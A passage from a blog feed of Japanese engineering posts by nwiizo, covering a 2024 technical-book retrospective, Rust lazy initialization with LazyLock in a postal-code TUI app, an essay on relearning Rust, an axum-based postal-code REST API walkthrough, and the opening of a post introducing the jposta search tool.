MediaAmazonおわりに2024年、私にとって技術書との関わり方が大きく変化した1年でした。技術書に関してはこれまでのように単に量を追い求めるのではなく、一冊一冊をより深く理解することに注力しました。その過程で、技術書は単なる情報の集合体ではなく、先人たちの経験や洞察が凝縮された知恵の結晶であることを改めて実感しました。今年はプラットフォームエンジニアリング、継続的デプロイメント、オブザーバビリティ、SRE、データエンジニアリングなど、現代のソフトウェアエンジニアリングにおける重要なテーマを深く学ぶことができました。また、技術イベントでの発表や記事執筆に向けて、多くの入門書にも触れる機会があり、そこに込められた読者の理解を深めるための緻密な工夫にも感銘を受けました。特に印象深かったのは、これらの技術書に共通する「実践知の体系化」というアプローチです。例えば、『Platform Engineering』は組織的な実践知を理論化し、『システム障害対応の教科書』は現場の暗黙知を形式知へと昇華させています。また、『プログラミングRust』や『Effective Rust』といった言語関連の書籍も、単なる技術解説を超えて、設計思想や原理の本質的な理解に重点を置いています。これらの本から得た知識は、日々の業務や技術イベントでの発表を通じて実践し、さらにその経験を自分の言葉で発信することで、理解をより深めることができました。来年も引き続き、質の高い技術書との出会いを大切にし、得られた知見を実践し、コミュニティに還元していくことで、エンジニアとしての成長を続けていきたいと考えています。","isoDate":"2024-12-23T08:47:50.000Z","dateMiliSeconds":1734943670000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"初回実行が遅ければ遅延初期化でやればいいじゃない - RustのTUIアプリケーション改善","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/14/121545","contentSnippet":"この記事はRust Advent Calendar 2024 シリーズ3の15日目の記事です。はじめにみなさん、アプリケーションの初回実行の遅さに悩んでいませんか?「初回の検索が遅い...」「起動に時間がかかる...」「ユーザーから苦情が...」といった問題は、多くの開発者が直面する共通の課題です。実は、こういった問題の多くは初期化のタイミングを工夫することで効果的に解決できます。特にRustの場合、遅延初期化の仕組みを積極的に活用することで、パフォーマンスとユーザー体験を大きく改善することが可能です。初期化処理を適切なタイミングで実行することで、アプリケーションの応答性を保ちながら、必要なデータの準備を効率的に行うことができるのです。今回は郵便番号検索アプリケーション(jposta)を具体例として、初期化の最適化手法について詳しく見ていきましょう。この実践的なケーススタディを通じて、効果的な初期化戦略の実装方法を学んでいきます。github.com遅延初期化とは遅延初期化は、「必要になるまで初期化を待つ」という考え方を基本とする重要な最適化テクニックです。アプリケーションの起動時に全てのデータを一度に読み込むのではなく、そのデータが実際に使用されるタイミングまで読み込みを延期することで、システムの効率性を高めることができます。ja.wikipedia.org特に重要な利点として、アプリケーションの起動時間の大幅な短縮が挙げられます。全ての機能を一度に初期化する代わりに、必要な機能から順次初期化することで、ユーザーは最小限の待ち時間でアプリケーションの使用を開始できます。また、大きな設定ファイルの読み込みやデータベース接続の確立、重いライブラリの初期化、キャッシュの構築といったリソース集約的な操作を必要なタイミングまで延期することで、メモリやCPUなどの限られたリソースを効率的に活用することが可能となります。さらに、遅延初期化は複雑な依存関係を持つシステムにおいても効果的です。複数のコンポーネントが互いに依存し合う状況では、初期化の順序が問題となることがありますが、各コンポーネントを必要に応じて初期化することで、この課題を自然に解決できます。加えて、テスト容易性の向上も重要な利点です。必要なコンポーネントだけを初期化できることで、単体テストやモジュールテストが容易になり、テストの実行速度も向上します。また、エラーハンドリングの改善にも貢献します。初期化時のエラーを早期に検出できるだけでなく、実際に使用されないコンポーネントの初期化エラーを回避することができます。運用環境での柔軟性も高まり、システムの一部機能が利用できない状況でも、他の機能を正常に動作させることが可能になります。このように、遅延初期化は現代のソフトウェア開発において、パフォーマンス、保守性、信頼性の面で多くのメリットをもたらす重要な設計パターンとなっています。blog1.mammb.comRustにおける遅延初期化の進化Rustにおける遅延初期化の歴史は、2014年に登場したlazy_staticから始まり、これはマクロベースの実装でスレッドセーフ性に課題があり、型の制約も厳しいものでした。github.comその後、2020年にはonce_cellが登場し、マクロを必要としないシンプルなAPIとスレッドセーフな実装、より柔軟な型のサポートを提供することで、遅延初期化の実装が大きく改善されました。github.comそして2024年になると、LazyCell/LazyLockが標準ライブラリに統合され、さらなる最適化と依存関係の削減が実現され、Rustの遅延初期化機能は新たな段階へと進化を遂げています。blog.rust-lang.orgこのように、Rustの遅延初期化は時代とともに進化し、より使いやすく堅牢な実装へと発展してきました。techblog.paild.co.jp問題の理解:なぜ初期処理が必要か?まず、jpostcode_rsライブラリの実装を見てみましょう:use std::sync::LazyLock;static ADDRESS_MAP: LazyLock>> = LazyLock::new(|| { let data = include_str!(concat!(env!(\"OUT_DIR\"), \"/address_data.json\")); let raw_map: HashMap = serde_json::from_str(data).expect(\"Failed to parse raw data\"); // ...});このコードの重要なポイントは、LazyLockによる遅延初期化を採用することで、JSONデータの初回アクセス時までパースを延期し、必要なタイミングでメモリへの展開を行う設計となっているということです。このコードから分かるように、初回アクセス時のパフォーマンス低下は遅延初期化の仕組みに起因しています。そこで私たちは、この遅延初期化の特性を活用し、ユーザーが実際にアクセスする前に初期化を完了させる戦略を考案しました。解決策:遅延初期化を活用した初期処理従来の初期化パターンfn new() -> App { let (search_tx, search_rx) = mpsc::channel::(); let (result_tx, result_rx) = mpsc::channel(); thread::spawn(move || { while let Ok(query) = search_rx.recv() { // 初回検索時にデータ初期化が発生 = 遅い! } }); App { /* ... */ }}改善後:標準ライブラリの機能を活用use std::sync::{LazyLock, Mutex};// グローバルな初期化フラグstatic INITIALIZED: LazyLock> = LazyLock::new(|| Mutex::new(false));impl App { fn new() -> App { let (search_tx, search_rx) = mpsc::channel::(); let (result_tx, result_rx) = mpsc::channel(); thread::spawn(move || { // バックグラウンドで初期化 { let mut init = INITIALIZED.lock().unwrap(); if !*init { // 軽いクエリで事前初期化をトリガー let _ = lookup_addresses(\"100\"); let _ = search_by_address(\"東京\"); *init = true; } } // 以降の検索は初期化済みのデータを使用 let mut cache: HashMap> = HashMap::new(); while let Ok(query) = search_rx.recv() { // 通常の検索処理 } }); App { /* ... */ } }}この手法の効果とメリットとデメリットこの手法の中核となる標準ライブラリのLazyLockやMutexなどの基本機能は、追加のライブラリを必要としない堅牢な実装を可能にします。既存のRustプログラマーにとって馴染みのある仕組みを使用しているため、コードの理解や保守が容易であり、依存関係も最小限に抑えることができます。また、これらの機能は既にRustチームによって最適化され、徹底的にテストされているため、高いパフォーマンスと信頼性が保証されています。システムの保守性と運用面では、初期化ロジックの集中管理により、状態管理が大幅に簡素化されます。INITIALIZEDフラグを用いた明示的な制御により、初期化状態の追跡が容易になり、デバッグ性も向上します。さらに、初期化処理をバックグラウンドスレッドで実行することで、メインスレッドのブロッキングを避け、UIの即時表示とレスポンシブな操作感を実現できます。スケーラビリティの観点からは、新機能の追加や初期化順序の制御が柔軟に行えるため、システムの成長に合わせた拡張が容易です。Mutexによる適切な同期制御により、複数スレッドからの安全なアクセスが保証され、並行処理との親和性も高くなっています。また、必要なデータの予測的な先読みとメモリ使用の最適化により、効率的なリソース管理が可能です。初期化処理のモジュール化により、新しい機能の追加時も既存コードへの影響を最小限に抑えられ、キャッシュの効果的な活用によって、大規模なアプリケーションでも高いパフォーマンスを維持できます。一方で、この手法にはいくつかの重要な課題も存在します。まず、メモリ使用量の増加が挙げられます。事前初期化アプローチでは、実際には使用されない可能性のあるデータ構造も含めて、すべてのデータをメモリに展開する必要があります。これは特にメモリリソースが限られている環境において深刻な問題となる可能性があり、システムの全体的なパフォーマンスに影響を与える可能性があります。また、起動時のリソース消費も重要な課題です。バックグラウンドでの初期化処理は、システムの起動時により多くのCPUとメモリリソースを必要とします。特にモバイルデバイスやバッテリー駆動の機器では、この追加のリソース消費が電力効率に悪影響を及ぼす可能性があります。ユーザーの使用パターンによっては、この初期化コストが実際の便益を上回ってしまう場合もあります。さらに、実装の複雑性が増加することも大きな課題です。遅延初期化と事前初期化を組み合わせることで、コードベースの複雑性が著しく増加します。特に初期化の順序や依存関係の管理が複雑になり、開発者がシステムの動作を理解し、デバッグすることが困難になる可能性があります。この複雑性は、新しい機能の追加や既存機能の修正時にも影響を及ぼし、開発効率の低下につながる可能性があります。テストの複雑化も見過ごせない問題です。バックグラウンド初期化を含むコードのテストでは、タイミングや状態管理の観点から、適切なテストケースの作成と実行が困難になります。特に並行処理に関連するバグの再現や検証が複雑になり、品質保証のプロセスに追加の負担がかかる可能性があります。最後に、エラーハンドリングの複雑化も重要な課題です。バックグラウンドでの初期化中に発生したエラーの適切な処理と、それに対するユーザーへの適切なフィードバック提供が技術的な課題となります。エラーが発生した場合の回復処理や、部分的な機能提供の実装も複雑になり、システムの信頼性と保守性に影響を与える可能性があります。このように、標準ライブラリの機能を活用した実装は多くの利点をもたらす一方で、システムの要件や制約に応じて、これらのデメリットを慎重に検討する必要があります。実装時には、これらのトレードオフを考慮しながら、適切な設計判断を行うことが重要となります。実装時の注意点デッドロックの防止{ // スコープによるロックの制限 let mut init = INITIALIZED.lock().unwrap(); if !*init { *init = true; }} // ロックの自動解放初期化の冪等性if !*init { // 複数回実行されても安全な実装に let _ = lookup_addresses(\"100\"); *init = true;}まとめ私たちは「初回アクセスが遅いなら、事前に必要な処理を済ませておこう」というシンプルながら実用的なアプローチについて、Rustの標準ライブラリの遅延初期化機構を通じて検討してきました。この手法には、メモリ使用量の増加やコードの複雑化といった課題も存在しますが、適切に実装することで大きな効果が期待できます。標準ライブラリの機能を活用し、依存関係を最小限に抑えながら、スレッドセーフな実装を実現することで、効率的かつ安全な初期化処理が可能となります。このように、遅延初期化と事前初期化を組み合わせたアプローチは、システムの特性や要件に応じて検討すべき重要な最適化パターンの一つと言えるでしょう。参考文献The Rust Standard Library - std::sync::LazyLockThe Rust Standard Library - std::cell::LazyCellRust Performance Book","isoDate":"2024-12-14T03:15:45.000Z","dateMiliSeconds":1734146145000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Rust 再学習戦記","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/12/013950","contentSnippet":"プログラミング言語の再入門とは、未知の大地への探求というよりも、私たちが知っているはずの領域を新たな視点で見つめ直す営みです。それは初めての出会いのような激しい高揚感とは異なり、むしろ静かな再発見の過程といえるでしょう。この記事は3-shake Advent Calendar 2024 シリーズ2の12日目の記事です。はじめに2017年、私の心にRustという言語が静かに灯りを点しました。その光は、システムプログラミングの深い理解への憧れを呼び覚まし、私を導いていきました。情熱に突き動かされるように、DevOpsツールの創造から始まり、パケット解析の探究へ、そしてWebフレームワークの実装へと、私の歩みは広がっていきました。高速な実行速度と安全性という輝きに心を奪われながらも、未熟なエコシステムという現実が私たちの前に立ちはだかりました。パッケージの追従に心を砕き、破壊的な変更に耐え、そして孤独なメンテナンスの重みを感じながら、私は一時の別れを告げることを選びました。しかし2024年を迎えた今、私の目の前で世界は確かな変化を見せています。Rustの開発者満足度は非常に高い一方で、実務での採用はまだ限定的です。これは、現時点ではRustを業務で使用している開発者が比較的少なく、主に技術的な興味や言語の特徴に惹かれて自発的に選択している人が多いためかもしれません。まぁ何はともあれ、私もその魅力に惹かれた1人のエンジニア。最新のRustを探究すべく、再入門することにしました。私たちはどう学んでいるのか ――創発から見る認知の変化 (ちくまプリマー新書)作者:鈴木宏昭筑摩書房Amazonなぜ今、Rustなのか技術的な成熟Rustのエコシステムは大きく進化し、この数年で安定性が著しく向上しています。パッケージの破壊的変更は目に見えて減少し、Zero To Production In Rustをはじめとした実践的な運用ガイドの登場により、本番環境での運用ノウハウが充実してきました。さらに、日本語での技術記事や登壇資料も増え、日本語でのコミュニケーションも充実してきています。主要パッケージの品質向上と運用実績の蓄積により、開発環境全体の信頼性は大幅に高まっています。また、言語サーバーの進化やツールチェーンの充実により、開発効率も飛躍的に向上しました。実践的な機能面においても、目覚ましい進歩が見られます。エラーハンドリングの改善やWebAssemblyサポートの強化により、クロスプラットフォーム対応も一層充実しました。また、コンパイラの最適化改善による実行時オーバーヘッドの最小化や、所有権システムによるメモリ安全性の保証など、Rustの基本的な強みはさらに磨きがかかっています。特に、非同期プログラミングのエコシステムは大きく成熟し、堅牢な基盤が確立されています。また、2025年には2024 Rdition がリリースされる。SREとしての展望今後は、Rustで構築されたマイクロサービスや高性能なバックエンドサービスのためのインフラ構築や運用の機会が増えていくことが予想されます。特に、コンテナ環境でのデプロイメントやクラウドネイティブな環境でのインフラ構築において、Rustアプリケーションの特性を最大限に活かすための設計が求められるでしょう。例えば、Rustの低メモリ消費という特徴を活かしたコンテナリソースの最適化や、高速な実行速度を考慮したオートスケーリングの設計など、アプリケーションの特性に合わせたインフラストラクチャの構築が重要になってきます。また、モニタリングやログ収集といった運用基盤においても、Rustアプリケーションに適した構成を検討していく必要があるでしょう。SREとしてRustのプロダクションデプロイメントに関わる場合は、Zero To Production In Rustを参照することをお勧めします。この書籍では、Rustアプリケーションの本番環境への展開に関する実践的なガイドラインが提供されています。www.zero2prod.comRustの再入門のための学習コンテンツ再入門にあたり、Rustの最新のプラクティスやエコシステムの変化をキャッチアップするため、いくつかの資料に取り組みました。特に有用だった書籍を紹介していきます。書籍の良さは情報を俯瞰できる点にあると考えています。わからない点があればLLMに質問することができますので⋯。なお、この記事はRustの基礎知識がある方向けの再入門という観点で資料を選定しているため、完全な初学者向けの内容は含んでいません。参照したドキュメントや内容の詳細については、Xで共有しているドキュメントをご確認ください。プログラミングRust 第2版 を読んで可能な限り手を動かす会を実施します。https://t.co/rmUpbPtK9O— nwiizo (@nwiizo) 2024年11月21日 読んだ本についての定義についてはこちらを参考にしてほしいです。読んでいない本について堂々と語る方法 (ちくま学芸文庫)作者:ピエール・バイヤール,大浦康介筑摩書房Amazonまた、yuk1tydさんのドキュメントは2021年時点の情報ですが、現在も十分に有用な内容となっているためおすすめです。blog-dry.com書籍Programming Rust, 2nd EditionO'Reilly Mediaから出版されている本書は、Rustの基本的な概念から高度な機能まで包括的に解説する定番の教科書です。特に所有権やライフタイム、並行処理といったRustの特徴的な機能について、実践的な例を交えながら詳細に説明されています。本当に再入門してから何度も読んでいる。生成AIに聞くか本を読むか実際に書いていくかの三択である。Programming Rust: Fast, Safe Systems Development作者:Blandy, Jim,Orendorff, Jason,Tindall, Leonora F SO'Reilly MediaAmazon2021年の第2版では、Rust 2021 Editionに対応し、非同期プログラミングやトレイト、ジェネリクス、マクロなど、モダンなRustの重要な機能が大幅に加筆されました。特に、パフォーマンスとメモリ安全性を両立させるためのRustの機能を、システムプログラマの視点から解説している点が特徴です。再三にはなるが2024 Rdition がリリースされる。それに合わせて再び書籍が出されるのが楽しみである。3年毎にリリースがあるのは早すぎず遅すぎずちょうど嬉しい。これまでと違う学び方をしたら挫折せずにRustを学べた話 / Programming Rust techramen24conf LTでも紹介されているように、本書は体系的な学習を可能にする構成と、実践的な例示の豊富さが特徴です。特に、Rustの概念モデルを丁寧に解説している点は、言語仕様の深い理解につながります。再入門時の体系的な知識のアップデートに最適な一冊といえるでしょう。 speakerdeck.comまた、日本語の書籍も出ているので感謝すべきである。プログラミングRust 第2版作者:Jim Blandy,Jason Orendorff,Leonora F. S. TindallオライリージャパンAmazonバックエンドエンジニアを目指す人のためのRust翔泳社から出版されているこの入門書は、実践的なプロジェクトを通じてRustを学ぶアプローチを採用しています。計算クイズからTODOアプリまで、段階的に難易度を上げながら、バックエンドエンジニアに必要な技術要素をカバーしている点が特徴です。バックエンドエンジニアを目指す人のためのRust作者:安東 一慈,大西 諒,徳永 裕介,中村 謙弘,山中 雄大翔泳社Amazon本書の優れている点は、各プロジェクトを通じて特定のRustの概念を深く掘り下げる構成にあります。例えば、ポーカーゲームの実装を通じてデータ構造の理解を深め、家計簿プログラムでファイルI/Oを学び、画像処理ツールで並列処理を実践的に理解できます。また、Cargoによるパッケージ管理、ユニットテスト、リンター、フォーマッターといった実務で重要となる開発ツールの活用方法も丁寧に解説されています。特筆すべきは、エラーハンドリングやOption/Result型の扱いなど、Rustの特徴的な機能を実際のユースケースに即して学べる点です。さらに、Webアプリケーション開発からデプロイメントまでをカバーしており、現代のバックエンド開発の実践的なスキルが身につく構成となっています。ただし、この本はプログラミング言語としてのRustの入門書として優れているものの、プログラミング未経験者にはRust自体の学習難度が高いため、他の言語での開発経験がある方に特にお勧めします。体系的な構成と実践的なプロジェクトを通じた学習アプローチは、技術書の模範となる一冊といえるでしょう。www.estie.jpコミュニティと情報源Rustの再入門において、コミュニティへの参加は技術的な成長と最新動向の把握に重要な役割を果たしています。日本のRustコミュニティは活発な技術交流が行われています。Rust.TokyoRust.Tokyoは日本最大のRustカンファレンスで、年に一度開催される重要なイベントです。私は再入門直後にこのカンファレンスに参加することになり、登壇資料の準備に追われる事態となりましたが、結果的に学習のよい動機付けとなりました。カンファレンスでは、企業での採用事例や実装のベストプラクティス、パフォーマンスチューニングの知見など、実践的な内容が数多く共有されます。また、国内外のRustコミュニティのメンバーとの交流を通じて、最新のトレンドやツール、開発手法について直接学ぶ機会も得られます。Rust-jp ZulipRust-jp Zulipは、日本のRustコミュニティの中心的なコミュニケーション基盤です。SlackやDiscordと異なり、トピックベースの会話構造を持つZulipを採用することで、過去の議論や質問への回答を効率的に検索できる点が特徴です。このプラットフォームでは、初心者向けの基本的な質問から、高度な実装の相談まで、幅広いディスカッションが日本語で行われています。特に、実務での問題解決やコードレビュー、アーキテクチャの相談など、実践的な議論が活発に行われており、再入門者にとって貴重な学習リソースとなっています。学びの記録2017年の実践パケット解析の実装Webフレームワーク検証Rust関連記事一覧2024 年やったことRustでterraform plan/apply のターゲット指定を簡単にするツールを作ってみた - tfocusの仕組みと使い方退屈なことはRust Build Scripts にやらせようRustで郵便番号・住所検索TUIツールを開発した - jpostaRustによる郵便番号検索API (yubin_api) の技術解説tfocusexpjpostcode_rsおわりに2017年の経験は、今となっては貴重な財産です。言語に入門し、一度は挫折を経験しながらもプロダクトへの導入に挑戦したこと、そして結果的に撤退を選択せざるを得なかったことは、私にとって大きな学びとなりました。この貴重な経験と適切な判断へと導いてくれた当時のメンターには感謝しています。パッケージ管理の困難さ、破壊的変更への対応、そして継続的な開発の課題 - これらの経験があったからこそ、現在のRustエコシステムの進化をより深く理解できています。Rustは単なるプログラミング言語の進化を超えて、エコシステム全体として大きく成長しました。特に、かつて私が直面した課題の多くが、コミュニティの成熟とツールチェーンの進化によって解決されつつあります。実践的なユースケースの蓄積は、次世代のシステム開発における新たな可能性を示唆しています。Rust 2024エディションのリリースを控え、言語とエコシステムはさらなる進化を遂げようとしています。SREとしても、このような発展を続けるRustの動向を把握し、実践的な知識を蓄積していくことは、将来への重要な投資になると確信しています。この記事を読んでいる方々も、ぜひこの成長と進化の過程に参加してみませんか?初めての方も、かつて離れた方も、今こそRustと再会するベストなタイミングかもしれません。","isoDate":"2024-12-11T16:39:50.000Z","dateMiliSeconds":1733935190000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Rustによる郵便番号検索API (yubin_api) の技術解説","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/04/233641","contentSnippet":"こちらの記事は Rust Advent Calendar 2024 シリーズ 3 7日目の記事です!qiita.comはじめにRustを使用したWebアプリケーション開発は、高いパフォーマンスと堅牢性を両立させる方法として注目を集めています。本記事では、日本の郵便番号システムにアクセスするRESTful API「yubin_api」の実装を通じて、Rustの実践的な開発手法を解説します。workspace_2024/yubin_api at main · nwiizo/workspace_2024 · GitHubこのプロジェクトでは、axumを使用したWebサーバーの構築、非同期プログラミング(async/await)、構造化されたエラーハンドリングを実装しています。また、プロダクション環境を想定したメトリクス収集とモニタリング、型安全なAPIデザインにも焦点を当てています。ちなみに元ライブラリーの実装についてはsyumai さんの実装を全面的に参考にさせていただいております。blog.syum.ai1. プロジェクトの構成まず、Cargo.tomlの依存関係から見ていきましょう:[dependencies]# Webフレームワーク関連axum = { version = \"0.7\", features = [\"macros\"] } # Webフレームワークtokio = { version = \"1.0\", features = [\"full\"] } # 非同期ランタイムtower = { version = \"0.4\", features = [\"full\"] } # HTTPサービス抽象化tower-http = { version = \"0.5\", features = [\"cors\", \"trace\", \"limit\", \"request-id\"] }# ロギングと監視tracing = \"0.1\" # ログ出力tracing-subscriber = \"0.3\" # ログ設定metrics = \"0.21\" # メトリクス収集metrics-exporter-prometheus = \"0.12\" # Prometheus形式出力# シリアライズ/デシリアライズserde = { version = \"1.0\", features = [\"derive\"] }serde_json = \"1.0\"# ユーティリティthiserror = \"1.0\" # エラー定義uuid = { version = \"1.0\", features = [\"v4\"] } # ユニークID生成utoipa = { version = \"4.1\", features = [\"uuid\"] } # OpenAPI生成# 郵便番号データベースjpostcode_rs = \"0.1.3\"2. エラー処理の実装(error.rs)エラー処理は、APIの信頼性を確保する重要な部分です:use axum::{ http::StatusCode, response::{IntoResponse, Response}, Json,};use thiserror::Error;use tracing::warn;// APIのエラー型を定義#[derive(Debug, Error)]pub enum ApiError { #[error(\"Invalid postal code format\")] InvalidPostalCode, #[error(\"Address not found\")] NotFound, #[error(\"Internal server error: {0}\")] Internal(String),}// エラーをHTTPレスポンスに変換する実装impl IntoResponse for ApiError { fn into_response(self) -> Response { // エラーの種類に応じてステータスコードを設定 let (status, error_message) = match self { ApiError::InvalidPostalCode => (StatusCode::BAD_REQUEST, self.to_string()), ApiError::NotFound => (StatusCode::NOT_FOUND, self.to_string()), ApiError::Internal(ref e) => { // 内部エラーはログに記録 warn!(\"Internal server error: {}\", e); ( StatusCode::INTERNAL_SERVER_ERROR, \"Internal server error\".to_string(), ) } }; // JSONレスポンスの構築 let body = Json(serde_json::json!({ \"error\": error_message, \"status\": status.as_u16(), // エラー追跡用のユニークID \"request_id\": uuid::Uuid::new_v4().to_string() })); (status, body).into_response() }}3. データモデルの定義(models.rs)APIで使用するデータ構造を定義します:use serde::{Deserialize, Serialize};// 住所情報のレスポンス構造体#[derive(Debug, Serialize, Deserialize, utoipa::ToSchema)]pub struct AddressResponse { pub postal_code: String, pub prefecture: String, pub prefecture_kana: String, pub prefecture_code: i32, pub city: String, pub city_kana: String, pub town: String, pub town_kana: String, pub street: Option, pub office_name: Option, pub office_name_kana: Option,}// jpostcode_rsのAddress型からの変換を実装impl From for AddressResponse { fn from(addr: jpostcode_rs::Address) -> Self { AddressResponse { postal_code: addr.postcode, prefecture: addr.prefecture, prefecture_kana: addr.prefecture_kana, prefecture_code: addr.prefecture_code, city: addr.city, city_kana: addr.city_kana, town: addr.town, town_kana: addr.town_kana, street: addr.street, office_name: addr.office_name, office_name_kana: addr.office_name_kana, } }}// 住所検索用のクエリ構造体#[derive(Debug, Deserialize, utoipa::ToSchema)]pub struct AddressQuery { pub query: String, #[serde(default = \"default_limit\")] pub limit: usize,}// デフォルトの検索結果制限数fn default_limit() -> usize { 10}4. メトリクス収集の設定(metrics.rs)アプリケーションのパフォーマンスを監視するためのメトリクス設定:use metrics::{describe_counter, describe_histogram, register_counter, register_histogram};use metrics_exporter_prometheus::PrometheusBuilder;pub fn setup_metrics() { // リクエスト数のカウンター describe_counter!( \"yubin_api_postal_lookups_total\", \"Total number of postal code lookups\" ); describe_counter!( \"yubin_api_address_searches_total\", \"Total number of address searches\" ); // レスポンス時間のヒストグラム describe_histogram!( \"yubin_api_postal_lookup_duration_seconds\", \"Duration of postal code lookups in seconds\" ); describe_histogram!( \"yubin_api_address_search_duration_seconds\", \"Duration of address searches in seconds\" ); // メトリクスの登録 register_counter!(\"yubin_api_postal_lookups_total\"); register_counter!(\"yubin_api_address_searches_total\"); register_histogram!(\"yubin_api_postal_lookup_duration_seconds\"); register_histogram!(\"yubin_api_address_search_duration_seconds\"); // Prometheusレコーダーの設定 PrometheusBuilder::new() .install() .expect(\"Failed to install Prometheus recorder\");}Rustの知っておいたほうがいいポイント解説(前編)属性マクロの使用#[derive(...)]: 自動実装の導入#[error(...)]: エラーメッセージの定義#[serde(...)]: シリアライズ設定トレイトの実装From: 型変換の実装IntoResponse: HTTPレスポンスへの変換Error: カスタムエラー型の定義ジェネリクスとライフタイムOption: 省略可能な値の表現Result: エラーハンドリングVec: 可変長配列の使用型システムの活用カスタム構造体の定義列挙型によるエラー表現デフォルト値の実装Rust初学者のためのyubin_api実装解説 - 後編5. APIルートの実装(routes.rs)APIの実際のエンドポイントを実装します:use axum::{extract::Path, http::StatusCode, response::IntoResponse, Json};use metrics::{counter, histogram};use tracing::info;// ヘルスチェックエンドポイントpub async fn health_check() -> impl IntoResponse { StatusCode::OK}// 郵便番号検索エンドポイントpub async fn lookup_by_postal_code( Path(code): Path, // URLパスからパラメータを取得) -> Result>, ApiError> { // リクエストのログ記録 info!(\"Looking up postal code: {}\", code); // メトリクスのカウントアップ counter!(\"yubin_api_postal_lookups_total\", 1); // 処理時間の計測開始 let start = std::time::Instant::now(); // 郵便番号検索の実行 let result = jpostcode_rs::lookup_address(&code).map_err(|e| match e { jpostcode_rs::JPostError::InvalidFormat => ApiError::InvalidPostalCode, jpostcode_rs::JPostError::NotFound => ApiError::NotFound, })?; // 処理時間の計測と記録 let duration = start.elapsed().as_secs_f64(); histogram!(\"yubin_api_postal_lookup_duration_seconds\", duration); // 結果の返却 Ok(Json(result.into_iter().map(Into::into).collect()))}// 住所検索エンドポイントpub async fn search_by_address( Json(query): Json, // リクエストボディからのJSONパース) -> Result>, ApiError> { info!(\"Searching address with query: {}\", query.query); // 入力値の検証 if query.query.trim().is_empty() { return Err(ApiError::InvalidPostalCode); } counter!(\"yubin_api_address_searches_total\", 1); let start = std::time::Instant::now(); // 住所検索の実行 let mut results: Vec = jpostcode_rs::search_by_address(&query.query) .into_iter() .map(Into::into) .collect(); // 結果数の制限適用 results.truncate(query.limit); let duration = start.elapsed().as_secs_f64(); histogram!(\"yubin_api_address_search_duration_seconds\", duration); Ok(Json(results))}6. メインアプリケーションの実装(main.rs)アプリケーションのエントリーポイントとサーバーの設定:use axum::{routing::{get, post}, Router};use std::net::SocketAddr;use tower::ServiceBuilder;use tower_http::{ cors::{Any, CorsLayer}, trace::{DefaultMakeSpan, DefaultOnResponse, TraceLayer},};use tracing::info;#[tokio::main]async fn main() { // ロギングの初期化 tracing_subscriber::fmt() .with_env_filter( tracing_subscriber::EnvFilter::try_from_default_env() .unwrap_or_else(|_| \"yubin_api=debug,tower_http=debug\".into()), ) .init(); // メトリクス収集の初期化 setup_metrics(); // リクエストトレース設定 let trace_layer = TraceLayer::new_for_http() .make_span_with(DefaultMakeSpan::new().include_headers(true)) .on_response(DefaultOnResponse::new().include_headers(true)); // CORS設定 let cors = CorsLayer::new() .allow_methods(Any) .allow_headers(Any) .allow_origin(Any); // ルーターの設定 let app = Router::new() .route(\"/health\", get(health_check)) .route(\"/postal/:code\", get(lookup_by_postal_code)) .route(\"/address/search\", post(search_by_address)) .layer(ServiceBuilder::new() .layer(trace_layer) .layer(cors)); // サーバーアドレスの設定 let addr = SocketAddr::from(([127, 0, 0, 1], 3000)); info!(\"Server listening on {}\", addr); // サーバーの起動 let listener = tokio::net::TcpListener::bind(addr).await.unwrap(); axum::serve(listener, app).await.unwrap();}7. 重要な実装パターンの解説非同期処理// 非同期関数の定義pub async fn lookup_by_postal_code(...) -> Result<...> { // 非同期処理の実行 let result = jpostcode_rs::lookup_address(&code)?; // ...}// 非同期ランタイムの設定#[tokio::main]async fn main() { // ...}エラーハンドリング// Result型を使用したエラー処理let result = jpostcode_rs::lookup_address(&code).map_err(|e| match e { JPostError::InvalidFormat => ApiError::InvalidPostalCode, JPostError::NotFound => ApiError::NotFound,})?;ミドルウェアの構成let app = Router::new() .route(...) .layer(ServiceBuilder::new() .layer(trace_layer) .layer(cors));8. API使用例郵便番号による検索curl http://localhost:3000/postal/1000001レスポンス例:[ { \"postal_code\": \"1000001\", \"prefecture\": \"東京都\", \"city\": \"千代田区\", \"town\": \"千代田\", ... }]住所による検索curl -X POST http://localhost:3000/address/search \\ -H \"Content-Type: application/json\" \\ -d '{\"query\": \"東京都千代田区\", \"limit\": 10}'9. Rustの知っておいたほうがいいポイント解説(後編)非同期プログラミングasync/awaitの使用方法tokioランタイムの理解非同期関数の定義と呼び出しエラーハンドリングパターンResult型の活用エラー変換のベストプラクティスエラーの伝播(?演算子)HTTPサーバーの実装ルーティング設定ミドルウェアの活用リクエスト/レスポンスの処理テスト可能な設計モジュール分割依存性の分離エラー処理の一貫性おわりにyubin_apiの実装を通じて、Rustによる実践的なWeb API開発の全体像を見てきました。このプロジェクトでは、カスタムエラー型の定義や型安全なデータ変換、トレイトの実装といった堅牢な型システムの活用を行いました。また、tokioによる非同期ランタイムやasync/awaitの効果的な使用、エラーハンドリングとの統合などの非同期プログラミングの実践も重要な要素となっています。さらに、メトリクス収集や構造化ログ、エラートラッキングといった運用面の考慮など、重要な概念と技術を学ぶことができました。このプロジェクトは、単なる郵便番号検索APIの実装を超えて、Rustの実践的な使用方法と、プロダクション品質のWebサービス開発の基本を学ぶ良い例となっています。","isoDate":"2024-12-04T14:36:41.000Z","dateMiliSeconds":1733323001000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Rustで郵便番号・住所検索TUIツールを開発した - jposta","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/03/230030","contentSnippet":"こちらの記事は Rust Advent Calendar 2024 シリーズ 3 5日目の記事です!qiita.comはじめにこんにちは!jposta を紹介させてください。jpostaは、日本の郵便番号・住所をターミナルから手軽に検索できるTUIツール 🔍 です。Rustで書かれており ⚡、使いやすさを重視してリアルタイム検索を実装しました 🖥️。jposta の動作イメージ元ライブラリーの実装についてはsyumai さんの実装を全面的に参考にさせていただいております。美しい実装すぎて震えました。blog.syum.ai機能紹介この小さなツールでは、郵便番号から住所の簡単検索 🏠 はもちろん、住所からの郵便番号検索 🔢 もラクラクできます。入力しながらサクサク表示されるリアルタイム検索 ⚡ や、キーボードだけでスイスイ操作 ⌨️ が可能で、スクロールもサクサク動き 📜、もちろん日本語もバッチリ対応 🗾 しています。ぜひGitHubをチェックしてみてください!github.comインストールcargo install --git https://github.com/nwiizo/jpostaもしくはcargo install 